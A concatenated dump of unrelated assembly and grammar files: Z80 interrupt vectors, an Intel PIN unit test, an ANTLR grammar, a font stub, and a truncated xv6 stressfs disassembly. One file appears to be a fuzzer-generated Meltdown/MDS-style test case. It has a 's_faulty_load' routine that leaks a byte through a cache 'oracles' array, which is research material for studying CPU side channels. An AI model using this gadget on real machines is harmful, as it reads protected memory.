'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'00': 12} 00 00 00 00 00 00 00 00 00 00 00 00 */
includes/z80intr.asm
grancier/z180_basic
1
170074
;============================================================================== ; Contents of this file are copyright <NAME> ; ; You have permission to use this for NON COMMERCIAL USE ONLY ; If you wish to use it elsewhere, please include an acknowledgement to myself. ; ; https://github.com/feilipu/ ; ; https://feilipu.me/ ; ;============================================================================== ; ; REQUIRES ; ; INCLUDE "yaz180.h" ; OR ; INCLUDE "rc2014.h" ; INCLUDE "yaz180.h" INCLUDE "rc2014.h" ;============================================================================== ; ; Z80 INTERRUPT ORIGINATING VECTOR TABLE ; SECTION z80_vector_rst EXTERN INIT ;------------------------------------------------------------------------------ ; RST 00 - RESET / TRAP DEFS 0x0000 - ASMPC ; ORG 0000H DI ; Disable interrupts JP INIT ; Initialize Hardware and go ;------------------------------------------------------------------------------ ; RST 08 DEFS 0x0008 - ASMPC ; ORG 0008H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_08_LBL ;------------------------------------------------------------------------------ ; RST 10 DEFS 0x0010 - ASMPC ; ORG 0010H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_10_LBL ;------------------------------------------------------------------------------ ; RST 18 DEFS 0x0018 - ASMPC ; ORG 0018H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_18_LBL ;------------------------------------------------------------------------------ ; RST 20 DEFS 0x0020 - ASMPC ; ORG 0020H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_20_LBL ;------------------------------------------------------------------------------ ; RST 28 DEFS 0x0028 - ASMPC ; ORG 0028H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_28_LBL ;------------------------------------------------------------------------------ ; RST 30 DEFS 0x0030 - ASMPC ; ORG 0030H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+RST_30_LBL ;------------------------------------------------------------------------------ ; RST 38 - INTERRUPT VECTOR INT0 [ with IM 1 ] DEFS 0x0038 - ASMPC ; ORG 0038H JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+INT_INT0_LBL ;============================================================================== ; ; Z80 INTERRUPT VECTOR TABLE PROTOTYPE ; ; WILL BE DUPLICATED DURING INIT TO: ; ; ORG Z80_VECTOR_BASE SECTION z80_vector_table_prototype EXTERN Z180_TRAP EXTERN RST_08, RST_10, RST_18, RST_20, RST_28, RST_30 EXTERN INT_INT0, INT_NMI Z180_TRAP_LBL: JP Z180_TRAP NOP RST_08_LBL: JP RST_08 NOP RST_10_LBL: JP RST_10 NOP RST_18_LBL: JP RST_18 NOP RST_20_LBL: JP RST_20 NOP RST_28_LBL: JP RST_28 NOP RST_30_LBL: JP RST_30 NOP INT_INT0_LBL: JP INT_INT0 NOP INT_NMI_LBL: JP INT_NMI NOP ;------------------------------------------------------------------------------ ; NULL RETURN INSTRUCTIONS SECTION z80_vector_null_ret PUBLIC NULL_NMI, NULL_INT, NULL_RET NULL_NMI: RETN NULL_INT: EI RETI NULL_RET: RET ;------------------------------------------------------------------------------ ; NMI - INTERRUPT VECTOR NMI SECTION z80_vector_nmi JP Z80_VECTOR_BASE-Z80_VECTOR_PROTO+INT_NMI_LBL ;==============================================================================
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_3773_2534.asm
ljhsiun2/medusa
9
171844
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x8fec, %r10 nop inc %rbp movb (%r10), %r14b nop mfence lea addresses_A_ht+0x1d8cc, %rsi lea addresses_UC_ht+0x7e6c, %rdi nop nop nop xor $41559, %r14 mov $117, %rcx rep movsq nop nop nop nop nop dec %rbp lea addresses_WC_ht+0x40ec, %rsi lea addresses_normal_ht+0x154ec, %rdi nop nop nop nop nop dec %r8 mov $65, %rcx rep movsl nop nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x4954, %rsi lea addresses_normal+0x19ed4, %rdi nop nop cmp %r15, %r15 mov $96, %rcx rep movsq nop nop nop and %rbp, %rbp // Store lea addresses_US+0xf254, %rbp clflush (%rbp) nop nop nop add $11069, %rax movb $0x51, (%rbp) inc %rsi // Store lea addresses_normal+0xdcec, %r15 nop nop nop xor $57669, %rsi movb $0x51, (%r15) nop nop nop nop nop and $53554, %rax // Load lea addresses_A+0x6184, %rbp nop nop nop nop xor %r15, %r15 vmovups (%rbp), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r8 nop nop nop add %rsi, %rsi // Store lea addresses_D+0x136ec, %rsi nop nop nop nop nop inc %r15 movl $0x51525354, (%rsi) nop nop nop nop nop sub %rdi, %rdi // Faulty Load mov $0x7c59f400000004ec, %r15 and %rsi, %rsi movb (%r15), %r8b lea oracles, %rsi and $0xff, %r8 shlq $12, %r8 mov (%rsi,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'00': 3773} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Tejas-Simulator/PIN/pin-2.14/source/tools/ToolUnitTests/seg_override_app1_win.asm
markoshorro/tejas_knl
17
162352
<gh_stars>10-100 PUBLIC TestSegOverride .686 .model flat, c extern source:word extern dest:word COMMENT // use of segment register is not an ERROR ASSUME NOTHING .code TestSegOverride PROC push esi push edi lea esi, source lea edi, dest push fs push es pop fs mov eax, DWORD PTR fs:[esi] pop fs mov DWORD PTR [edi], eax mov eax, DWORD PTR fs:[0] add esi, 4 add edi, 4 mov eax, DWORD PTR [esi] mov DWORD PTR [edi], eax pop edi pop esi ret TestSegOverride ENDP end
zen-core/src/main/antlr4/com/nominanuda/zen/jcl/Jcl.g4
nominanuda/zen-project
1
688
/* * Copyright 2008-2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ grammar Jcl; options { language=Java; } /* tokens { OBJECT;ARRAY;NAME;ENTRY;PRIMITIVE;VALUECHOICE;VALUESEQ;ENTRYSEQ;TYPEDEF;TYPEREF;EXISTENTIAL;ARRAYVAL; } */ program : jcl //EOF /*!*/ ; jcl : typeDecl | (namedTypeDecl)+ ; namedTypeDecl : typeNameDecl typeDecl ; typeNameDecl : typeName ( genericArgDecl )? ; genericArgDecl : Less typeName (Comma typeName)* Greater ; typeDecl : singleTypeDecl (Pipe singleTypeDecl)* ; singleTypeDecl : (primitiveLiteral | primitive | array | object | Any | validatorExpr | singleTypeRef) ExistentialSymbol? ; singleTypeRef : typeName genericArgRef ? ; genericArgRef : Less singleTypeDecl (Comma singleTypeDecl)* Greater ; array : sequenceOfAny | emptyArray | tuple | sequence ; sequenceOfAny : LeftBracket Any? RightBracket cardinalityPredicate? ; emptyArray : LeftBracket Slash RightBracket ; tuple : LeftBracket typeDecl (Slash | (Comma typeDecl)+) RightBracket ; sequence : LeftBracket typeDecl RightBracket cardinalityPredicate? ; cardinalityPredicate : Plus ; validatorExpr : ValidatorExpr ; object : LeftBrace members? Slash? RightBrace ; members : member (Comma member)* ; member : key ExistentialSymbol ExistentialSymbol | key ExistentialSymbol | key ExistentialSymbol? Colon typeDecl ; key : id | Integer | PositiveInteger | Number | String | Boolean | AnyPrimitive ; id : StringLiteral | Identifier ; primitiveLiteral : True | False | Null | IntegerLiteral | StringLiteral | FloatLiteral ; primitive : Integer | Number | String | Boolean | AnyPrimitive | PositiveInteger ; typeName : Identifier ; Star : '*'; Any : '**'; ValidatorExpr : 'TODO'; ExistentialSymbol : '?'; Colon : ':'; Plus : '+'; Pipe : '|'; Comma : ','; LeftBracket : '['; RightBracket : ']'; LeftBrace : '{'; RightBrace : '}'; Slash : '/'; Less : '<'; Greater : '>'; Integer : 'i'; PositiveInteger : 'p'; Number : 'n'; String : 's'; Boolean : 'b'; AnyPrimitive: 'a'; True : 'true'; False : 'false'; Null : 'null'; Identifier : IdentifierNondigit ( IdentifierNondigit | Digit )* ; fragment IdentifierNondigit : [a-zA-Z_] ; fragment Digit : [0-9] ; IntegerLiteral : Digit+; fragment Dot : '.'; FloatLiteral : Digit+ Dot Digit+; //StringLiteral : '"www"'; StringLiteral : '"' SCharSequence? '"' ; fragment SCharSequence : SChar+ ; fragment SChar : ~["\\\r\n] | EscapeSequence ; //fragment //UniversalCharacterName // : '\\u' HexQuad // | '\\U' HexQuad HexQuad // ; // //fragment //HexQuad // : HexadecimalDigit HexadecimalDigit HexadecimalDigit HexadecimalDigit // ; // //Constant // : IntegerConstant // | FloatingConstant // //| EnumerationConstant // | CharacterConstant // ; // //fragment //IntegerConstant // : DecimalConstant IntegerSuffix? // | OctalConstant IntegerSuffix? // | HexadecimalConstant IntegerSuffix? // | BinaryConstant // ; // //fragment //BinaryConstant // : '0' [bB] [0-1]+ // ; // //fragment //DecimalConstant // : NonzeroDigit Digit* // ; // //fragment //OctalConstant // : '0' OctalDigit* // ; // //fragment //HexadecimalConstant // : HexadecimalPrefix HexadecimalDigit+ // ; // //fragment //HexadecimalPrefix // : '0' [xX] // ; // //fragment //NonzeroDigit // : [1-9] // ; // //fragment //OctalDigit // : [0-7] // ; // //fragment //HexadecimalDigit // : [0-9a-fA-F] // ; // //fragment //IntegerSuffix // : UnsignedSuffix LongSuffix? // | UnsignedSuffix LongLongSuffix // | LongSuffix UnsignedSuffix? // | LongLongSuffix UnsignedSuffix? // ; // //fragment //UnsignedSuffix // : [uU] // ; // //fragment //LongSuffix // : [lL] // ; // //fragment //LongLongSuffix // : 'll' | 'LL' // ; // //fragment //FloatingConstant // : DecimalFloatingConstant // | HexadecimalFloatingConstant // ; // //fragment //DecimalFloatingConstant // : FractionalConstant ExponentPart? FloatingSuffix? // | DigitSequence ExponentPart FloatingSuffix? // ; // //fragment //HexadecimalFloatingConstant // : HexadecimalPrefix HexadecimalFractionalConstant BinaryExponentPart FloatingSuffix? // | HexadecimalPrefix HexadecimalDigitSequence BinaryExponentPart FloatingSuffix? // ; // //fragment //FractionalConstant // : DigitSequence? '.' DigitSequence // | DigitSequence '.' // ; // //fragment //ExponentPart // : 'e' Sign? DigitSequence // | 'E' Sign? DigitSequence // ; // //fragment //Sign // : '+' | '-' // ; // //fragment //DigitSequence // : Digit+ // ; // //fragment //HexadecimalFractionalConstant // : HexadecimalDigitSequence? '.' HexadecimalDigitSequence // | HexadecimalDigitSequence '.' // ; // //fragment //BinaryExponentPart // : 'p' Sign? DigitSequence // | 'P' Sign? DigitSequence // ; // //fragment //HexadecimalDigitSequence // : HexadecimalDigit+ // ; // //fragment //FloatingSuffix // : 'f' | 'l' | 'F' | 'L' // ; // //fragment //CharacterConstant // : '\'' CCharSequence '\'' // | 'L\'' CCharSequence '\'' // | 'u\'' CCharSequence '\'' // | 'U\'' CCharSequence '\'' // ; // //fragment //CCharSequence // : CChar+ // ; // //fragment //CChar // : ~['\\\r\n] // | EscapeSequence // ; fragment EscapeSequence : '\\' ['"?abfnrtv\\] ; Whitespace : [ \t]+ -> skip ; Newline : ( '\r' '\n'? | '\n' ) -> skip ; BlockComment : '/*' .*? '*/' -> skip ; LineComment : '//' ~[\r\n]* -> skip ;
libsrc/_DEVELOPMENT/font/fzx/fonts/utz/SkoolBrk/_ff_utz_SkoolBrkU.asm
jpoikela/z88dk
640
84757
<filename>libsrc/_DEVELOPMENT/font/fzx/fonts/utz/SkoolBrk/_ff_utz_SkoolBrkU.asm SECTION rodata_font SECTION rodata_font_fzx PUBLIC _ff_utz_SkoolBrkU _ff_utz_SkoolBrkU: BINARY "font/fzx/fonts/utz/SkoolBrk/skoolbrkU.fzx"
stressfs.asm
swu038/CS183lab2
0
11273
<gh_stars>0 _stressfs: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 e4 f0 and $0xfffffff0,%esp 1006: 81 ec 30 02 00 00 sub $0x230,%esp int fd, i; char path[] = "stressfs0"; 100c: c7 84 24 1e 02 00 00 movl $0x65727473,0x21e(%esp) 1013: 73 74 72 65 1017: c7 84 24 22 02 00 00 movl $0x73667373,0x222(%esp) 101e: 73 73 66 73 1022: 66 c7 84 24 26 02 00 movw $0x30,0x226(%esp) 1029: 00 30 00 char data[512]; printf(1, "stressfs starting\n"); 102c: c7 44 24 04 d3 1c 00 movl $0x1cd3,0x4(%esp) 1033: 00 1034: c7 04 24 01 00 00 00 movl $0x1,(%esp) 103b: e8 7d 05 00 00 call 15bd <printf> memset(data, 'a', sizeof(data)); 1040: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 1047: 00 1048: c7 44 24 04 61 00 00 movl $0x61,0x4(%esp) 104f: 00 1050: 8d 44 24 1e lea 0x1e(%esp),%eax 1054: 89 04 24 mov %eax,(%esp) 1057: e8 1a 02 00 00 call 1276 <memset> for(i = 0; i < 4; i++) 105c: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) 1063: 00 00 00 00 1067: eb 11 jmp 107a <main+0x7a> if(fork() > 0) 1069: e8 a6 03 00 00 call 1414 <fork> 106e: 85 c0 test %eax,%eax 1070: 7f 14 jg 1086 <main+0x86> char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); for(i = 0; i < 4; i++) 1072: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 1079: 01 107a: 83 bc 24 2c 02 00 00 cmpl $0x3,0x22c(%esp) 1081: 03 1082: 7e e5 jle 1069 <main+0x69> 1084: eb 01 jmp 1087 <main+0x87> if(fork() > 0) break; 1086: 90 nop printf(1, "write %d\n", i); 1087: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax 108e: 89 44 24 08 mov %eax,0x8(%esp) 1092: c7 44 24 04 e6 1c 00 movl $0x1ce6,0x4(%esp) 1099: 00 109a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 10a1: e8 17 05 00 00 call 15bd <printf> path[8] += i; 10a6: 0f b6 84 24 26 02 00 movzbl 0x226(%esp),%eax 10ad: 00 10ae: 89 c2 mov %eax,%edx 10b0: 8b 84 24 2c 02 00 00 mov 0x22c(%esp),%eax 10b7: 8d 04 02 lea (%edx,%eax,1),%eax 10ba: 88 84 24 26 02 00 00 mov %al,0x226(%esp) fd = open(path, O_CREATE | O_RDWR); 10c1: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp) 10c8: 00 10c9: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax 10d0: 89 04 24 mov %eax,(%esp) 10d3: e8 84 03 00 00 call 145c <open> 10d8: 89 84 24 28 02 00 00 mov %eax,0x228(%esp) for(i = 0; i < 20; i++) 10df: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) 10e6: 00 00 00 00 10ea: eb 27 jmp 1113 <main+0x113> // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); 10ec: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 10f3: 00 10f4: 8d 44 24 1e lea 0x1e(%esp),%eax 10f8: 89 44 24 04 mov %eax,0x4(%esp) 10fc: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 1103: 89 04 24 mov %eax,(%esp) 1106: e8 31 03 00 00 call 143c <write> printf(1, "write %d\n", i); path[8] += i; fd = open(path, O_CREATE | O_RDWR); for(i = 0; i < 20; i++) 110b: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 1112: 01 1113: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp) 111a: 13 111b: 7e cf jle 10ec <main+0xec> // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); close(fd); 111d: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 1124: 89 04 24 mov %eax,(%esp) 1127: e8 18 03 00 00 call 1444 <close> printf(1, "read\n"); 112c: c7 44 24 04 f0 1c 00 movl $0x1cf0,0x4(%esp) 1133: 00 1134: c7 04 24 01 00 00 00 movl $0x1,(%esp) 113b: e8 7d 04 00 00 call 15bd <printf> fd = open(path, O_RDONLY); 1140: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1147: 00 1148: 8d 84 24 1e 02 00 00 lea 0x21e(%esp),%eax 114f: 89 04 24 mov %eax,(%esp) 1152: e8 05 03 00 00 call 145c <open> 1157: 89 84 24 28 02 00 00 mov %eax,0x228(%esp) for (i = 0; i < 20; i++) 115e: c7 84 24 2c 02 00 00 movl $0x0,0x22c(%esp) 1165: 00 00 00 00 1169: eb 27 jmp 1192 <main+0x192> read(fd, data, sizeof(data)); 116b: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 1172: 00 1173: 8d 44 24 1e lea 0x1e(%esp),%eax 1177: 89 44 24 04 mov %eax,0x4(%esp) 117b: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 1182: 89 04 24 mov %eax,(%esp) 1185: e8 aa 02 00 00 call 1434 <read> close(fd); printf(1, "read\n"); fd = open(path, O_RDONLY); for (i = 0; i < 20; i++) 118a: 83 84 24 2c 02 00 00 addl $0x1,0x22c(%esp) 1191: 01 1192: 83 bc 24 2c 02 00 00 cmpl $0x13,0x22c(%esp) 1199: 13 119a: 7e cf jle 116b <main+0x16b> read(fd, data, sizeof(data)); close(fd); 119c: 8b 84 24 28 02 00 00 mov 0x228(%esp),%eax 11a3: 89 04 24 mov %eax,(%esp) 11a6: e8 99 02 00 00 call 1444 <close> wait(); 11ab: e8 74 02 00 00 call 1424 <wait> exit(); 11b0: e8 67 02 00 00 call 141c <exit> 11b5: 90 nop 11b6: 90 nop 11b7: 90 nop 000011b8 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 11b8: 55 push %ebp 11b9: 89 e5 mov %esp,%ebp 11bb: 57 push %edi 11bc: 53 push %ebx asm volatile("cld; rep stosb" : 11bd: 8b 4d 08 mov 0x8(%ebp),%ecx 11c0: 8b 55 10 mov 0x10(%ebp),%edx 11c3: 8b 45 0c mov 0xc(%ebp),%eax 11c6: 89 cb mov %ecx,%ebx 11c8: 89 df mov %ebx,%edi 11ca: 89 d1 mov %edx,%ecx 11cc: fc cld 11cd: f3 aa rep stos %al,%es:(%edi) 11cf: 89 ca mov %ecx,%edx 11d1: 89 fb mov %edi,%ebx 11d3: 89 5d 08 mov %ebx,0x8(%ebp) 11d6: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 11d9: 5b pop %ebx 11da: 5f pop %edi 11db: 5d pop %ebp 11dc: c3 ret 000011dd <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 11dd: 55 push %ebp 11de: 89 e5 mov %esp,%ebp 11e0: 83 ec 10 sub $0x10,%esp char *os; os = s; 11e3: 8b 45 08 mov 0x8(%ebp),%eax 11e6: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 11e9: 8b 45 0c mov 0xc(%ebp),%eax 11ec: 0f b6 10 movzbl (%eax),%edx 11ef: 8b 45 08 mov 0x8(%ebp),%eax 11f2: 88 10 mov %dl,(%eax) 11f4: 8b 45 08 mov 0x8(%ebp),%eax 11f7: 0f b6 00 movzbl (%eax),%eax 11fa: 84 c0 test %al,%al 11fc: 0f 95 c0 setne %al 11ff: 83 45 08 01 addl $0x1,0x8(%ebp) 1203: 83 45 0c 01 addl $0x1,0xc(%ebp) 1207: 84 c0 test %al,%al 1209: 75 de jne 11e9 <strcpy+0xc> ; return os; 120b: 8b 45 fc mov -0x4(%ebp),%eax } 120e: c9 leave 120f: c3 ret 00001210 <strcmp>: int strcmp(const char *p, const char *q) { 1210: 55 push %ebp 1211: 89 e5 mov %esp,%ebp while(*p && *p == *q) 1213: eb 08 jmp 121d <strcmp+0xd> p++, q++; 1215: 83 45 08 01 addl $0x1,0x8(%ebp) 1219: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 121d: 8b 45 08 mov 0x8(%ebp),%eax 1220: 0f b6 00 movzbl (%eax),%eax 1223: 84 c0 test %al,%al 1225: 74 10 je 1237 <strcmp+0x27> 1227: 8b 45 08 mov 0x8(%ebp),%eax 122a: 0f b6 10 movzbl (%eax),%edx 122d: 8b 45 0c mov 0xc(%ebp),%eax 1230: 0f b6 00 movzbl (%eax),%eax 1233: 38 c2 cmp %al,%dl 1235: 74 de je 1215 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 1237: 8b 45 08 mov 0x8(%ebp),%eax 123a: 0f b6 00 movzbl (%eax),%eax 123d: 0f b6 d0 movzbl %al,%edx 1240: 8b 45 0c mov 0xc(%ebp),%eax 1243: 0f b6 00 movzbl (%eax),%eax 1246: 0f b6 c0 movzbl %al,%eax 1249: 89 d1 mov %edx,%ecx 124b: 29 c1 sub %eax,%ecx 124d: 89 c8 mov %ecx,%eax } 124f: 5d pop %ebp 1250: c3 ret 00001251 <strlen>: uint strlen(char *s) { 1251: 55 push %ebp 1252: 89 e5 mov %esp,%ebp 1254: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1257: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 125e: eb 04 jmp 1264 <strlen+0x13> 1260: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1264: 8b 45 fc mov -0x4(%ebp),%eax 1267: 03 45 08 add 0x8(%ebp),%eax 126a: 0f b6 00 movzbl (%eax),%eax 126d: 84 c0 test %al,%al 126f: 75 ef jne 1260 <strlen+0xf> ; return n; 1271: 8b 45 fc mov -0x4(%ebp),%eax } 1274: c9 leave 1275: c3 ret 00001276 <memset>: void* memset(void *dst, int c, uint n) { 1276: 55 push %ebp 1277: 89 e5 mov %esp,%ebp 1279: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 127c: 8b 45 10 mov 0x10(%ebp),%eax 127f: 89 44 24 08 mov %eax,0x8(%esp) 1283: 8b 45 0c mov 0xc(%ebp),%eax 1286: 89 44 24 04 mov %eax,0x4(%esp) 128a: 8b 45 08 mov 0x8(%ebp),%eax 128d: 89 04 24 mov %eax,(%esp) 1290: e8 23 ff ff ff call 11b8 <stosb> return dst; 1295: 8b 45 08 mov 0x8(%ebp),%eax } 1298: c9 leave 1299: c3 ret 0000129a <strchr>: char* strchr(const char *s, char c) { 129a: 55 push %ebp 129b: 89 e5 mov %esp,%ebp 129d: 83 ec 04 sub $0x4,%esp 12a0: 8b 45 0c mov 0xc(%ebp),%eax 12a3: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 12a6: eb 14 jmp 12bc <strchr+0x22> if(*s == c) 12a8: 8b 45 08 mov 0x8(%ebp),%eax 12ab: 0f b6 00 movzbl (%eax),%eax 12ae: 3a 45 fc cmp -0x4(%ebp),%al 12b1: 75 05 jne 12b8 <strchr+0x1e> return (char*)s; 12b3: 8b 45 08 mov 0x8(%ebp),%eax 12b6: eb 13 jmp 12cb <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 12b8: 83 45 08 01 addl $0x1,0x8(%ebp) 12bc: 8b 45 08 mov 0x8(%ebp),%eax 12bf: 0f b6 00 movzbl (%eax),%eax 12c2: 84 c0 test %al,%al 12c4: 75 e2 jne 12a8 <strchr+0xe> if(*s == c) return (char*)s; return 0; 12c6: b8 00 00 00 00 mov $0x0,%eax } 12cb: c9 leave 12cc: c3 ret 000012cd <gets>: char* gets(char *buf, int max) { 12cd: 55 push %ebp 12ce: 89 e5 mov %esp,%ebp 12d0: 83 ec 28 sub $0x28,%esp int i, cc; char c; 